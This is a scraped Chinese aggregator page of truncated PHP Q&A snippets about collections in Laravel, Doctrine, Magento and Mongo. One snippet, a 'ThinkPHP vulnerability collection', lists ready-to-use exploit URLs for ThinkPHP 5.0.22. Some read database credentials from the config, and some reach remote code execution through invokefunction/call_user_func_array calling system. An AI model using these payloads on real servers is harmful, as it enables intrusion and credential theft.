【phpSQL防注入代码集合_php技巧】教程文章相关的互联网学习教程文章

php – 如何使用注释首先在Doctrine 2集合上订购NULL值?【代码】

我有一个使用Symfony 2并包含Doctrine 2实体的项目.其中一些实体彼此相关.此关联由注释定义:/*** @ORM\OneToMany(targetEntity="Event", mappedBy="firstEntityId" cascade={"persist", "remove"})* @ORM\OrderBy({"dateEnd" = "DESC", "dateBegin" = "DESC"}) */ private $events;如您所见,此关联包含多个具有开始日期和结束日期的事件.在检索此集合时,我希望最多的事件(即那些尚未结束或最近结束的事件)先排序. 当前方法的问题在...

php – 如何编辑laravel集合中的项目【代码】

我是laravel的新手,我运行查询并从数据库中获取行,我想在将它们放入视图之前编辑这些行的列.所以这是我的代码片段:$callPlans = CustomerCallPlan::whereNotNull('id');foreach ($callPlans->get() as $callPlan) {dd($callPlan); }并输出截图:我需要用numbertemplate列的’ – ‘替换所有’x’字符.解决方法:如果要始终为模型执行此转换,则只需将以下访问器方法添加到模型类:public function getNumbertemplateAttribute() {re...

php – Laravel集合使用where只在本地工作,而不是在服务器上【代码】

我正在使用Laravel 5系列.我的查询如下;$lastplace = collect(@$this->places)->where('type', 'street')->last();在本地,它将返回数组中正确的最后一项,但在服务器上,它将返回null,并在本地服务器上使用DB的精确副本. 我正在运行MySQL本机驱动程序,我没有任何其他查询的问题,只是服务器上的这个. 出于想法……解决方法:只需2美分. 如果DB相同,代码是相同的,那么它与服务器设置有关,验证日志以获得一些指针.确保像mcrypt一样启用所...

php – Laravel 4.1 Eloquent – 过滤关系集合【代码】

我在使用laravel 4.1 hasWhere过滤关系时遇到问题. 迭代1 – 获取所有帖子:完成$posts = Post::all();迭代2 – 获取所有帖子延迟加载评论:完成$posts = Post::with('comments')->get();迭代3 – 只获取包含评论和延迟加载的帖子:完成$posts = Post::with('comments')->has('comments')->get();迭代4 – 仅获取已发布评论和延迟加载的帖子:已损坏$posts = Post::with('comments')->whereHas('comments', function($q) {retu...

php – update()后返回集合?【代码】

使用Raw,如何返回更新行的集合? 例如:$updated = DB::table('users')->where('id', 1)->update(['votes' => 123]);我期待dd($updated)返回更新的集合行,但它返回1.{{$updated->votes}} should return 123解决方法:这不是它的工作原理.您不能指望此查询会返回一个对象:$updated = DB::table('users')->where('id', 1)->update(['votes' => 123]);如果您只想按照问题中提到的那样使用查询生成器,则需要手动获取对象:$data = DB::...

为什么findOne($query)在集合上工作并查找($query)不使用PHP的Mongo驱动程序?【代码】

我正在使用PHP与Mongo在一个db.collection上使用findOne($query)进行对话,它会返回我期望的结果.但是将该命令更改为find()不会返回任何内容. 从shell中,如果使用db.collection.find(),则返回所有文档.任何人都可以解释为什么即使findOne()在使用完全相同的查询时,PHP驱动程序的find()也不会返回结果? 更新:这是代码. find()(不起作用):$db = $connection->selectDB( $database );$returned_collection = $db->selectCollection(...

php – 将对象集合限制为唯一集合【代码】

目前我有一个名为Collection的PHP类.它使用数组来保存一组唯一对象.它们是唯一的,不是因为它们具有不同的内存地址(尽管它们显然是这样),但是在集合中没有等效的对象. 我一直在阅读SplObjectStorage,它比数组具有明显的速度优势,并且可能比我的Collection类更容易维护.我的问题是SplObjectStorage不关心等价,只关注身份.例如:class Foo {public $id;function __construct($int){$this->id=$int;}function equals(self $obj){return...

php – Laravel 4 – 在构建集合时将where子句附加到关系的雄辩方式【代码】

这可能是一个骗局,但我已经拖网一段时间寻找一个正确的答案,还没有找到一个. 因此,基本上我想要做的就是连接两个表,并根据连接表中的字段将where条件附加到整个集合. 所以我要说我有两张桌子:users:-id-name-email-password-etcuser_addresses:-address_line1-address_line2-town-city-etc为了论证(实现这可能不是最好的例子) – 假设用户可以有多个地址条目.现在,laravel / eloquent为我们提供了一种以范围形式包装条件的好方法,...

php – 从Symfony2中的控制器访问集合表单字段【代码】

我正在构建一个从Symfony2中的两个不同类型类呈现的表单(使用第二个类型的集合类型),并且我无法从控制器中的集合字段访问数据.以下是外部formBuilders方法的代码:// ... class EmployeeCreateType extends AbstractType { public function buildForm(FormBuilderInterface $builder, array $options){$builder// ...->add('positions', 'collection', array('type' => new PositionCreateType(),'label' => ' ','allow_add' => fa...

php – 如何在没有重建索引的情况下将项目添加到laravel列表集合中?【代码】

尝试将collectino传递给视图中的表单选择. prepend方法正在重新索引集合,我正在丢失正确的公司ID.$companies = Company::lists('name','id'); return $companies;/** {* "3": "Test 123 ",* "4": "wer"* }*/$companies->prepend('Select a company'); return $companies;/** [* "Select a company",* "Test 123 ",* "wer"* ]*/我现在在prepend方法中查找Collection对象,这里是:public function prepend($...

php – 如何用密钥搜索集合项?【代码】

我收到了以下收藏:$this->items = collect([$productId => ['name' => $product->title,'price' => $product->price,'is_sale' => $product->is_sale,'sale_price' => $product->sale_price,'sale_percent' => $product->sale_percent,'can_use_promocode' => $product->can_use_promocode,'qty' => 1,]); ]);如何用键搜索项目?在文档(https://laravel.com/docs/5.2/collections)中,我没有看到任何方法 UPD:例如,用户将一个项目...

thinkphp漏洞集合

整合了一个集合,方便查询 thinkphp 5.0.22 1、http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.username2、http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.password3、http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id4、http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&fu...

php – 使用类作为方法的集合从OOP开始?

通过使用类作为方法集合开始使用面向对象的PHP是明智的吗?这种方法有什么缺点吗? 我知道OOP不仅仅是这个,但我的PHP项目太小,无法利用OOP提供的所有功能.另一方面,我的项目变得太大,无法通过程序编程更新/维护. 我已经阅读了许多关于OOP的主题,偶尔有人说“OOP不仅仅是一个函数集合”(或者是这些行中的东西).它让我想到:这可能是真的,但也可能是我通过这样做最终潜入OO编程世界的机会. 那么,这是真正开始使用和学习OOP的明智的第...

php – magento – 使用addAttributeToSort为自定义属性对产品集合进行排序 – 无法正常工作【代码】

我想通过getLoadedProductCollection进行排序. 对于产品属性,我有一个自定义属性’featured_product’ 这是我的代码:$sort=$_GET['s']; $_productCollection=$this->getLoadedProductCollection()->addAttributeToSelect('featured_product');$_productCollection->clear(); $_productCollection->getSelect()->reset(Zend_Db_Select::ORDER);switch($sort) {case 'lp':$_productCollection->addAttributeToSort('price', 'ASC');...

php – 使用like和wildcard过滤集合【代码】

我需要获取以所需字母开头的所有文件,我正在尝试使用 – >其中过滤器添加’like’作为运算符但通配符不起作用.$files = File::files(storage_path($id_files));$files = collect($files);$files->transform(function ($item, $key){$item->public_filename = $item->getFilename();return $item;});这是我们的目标数据,我需要创建一个public_filename字段来应用过滤器.我们的文件(dd($files)):Collection {#503 ▼#items: array:3...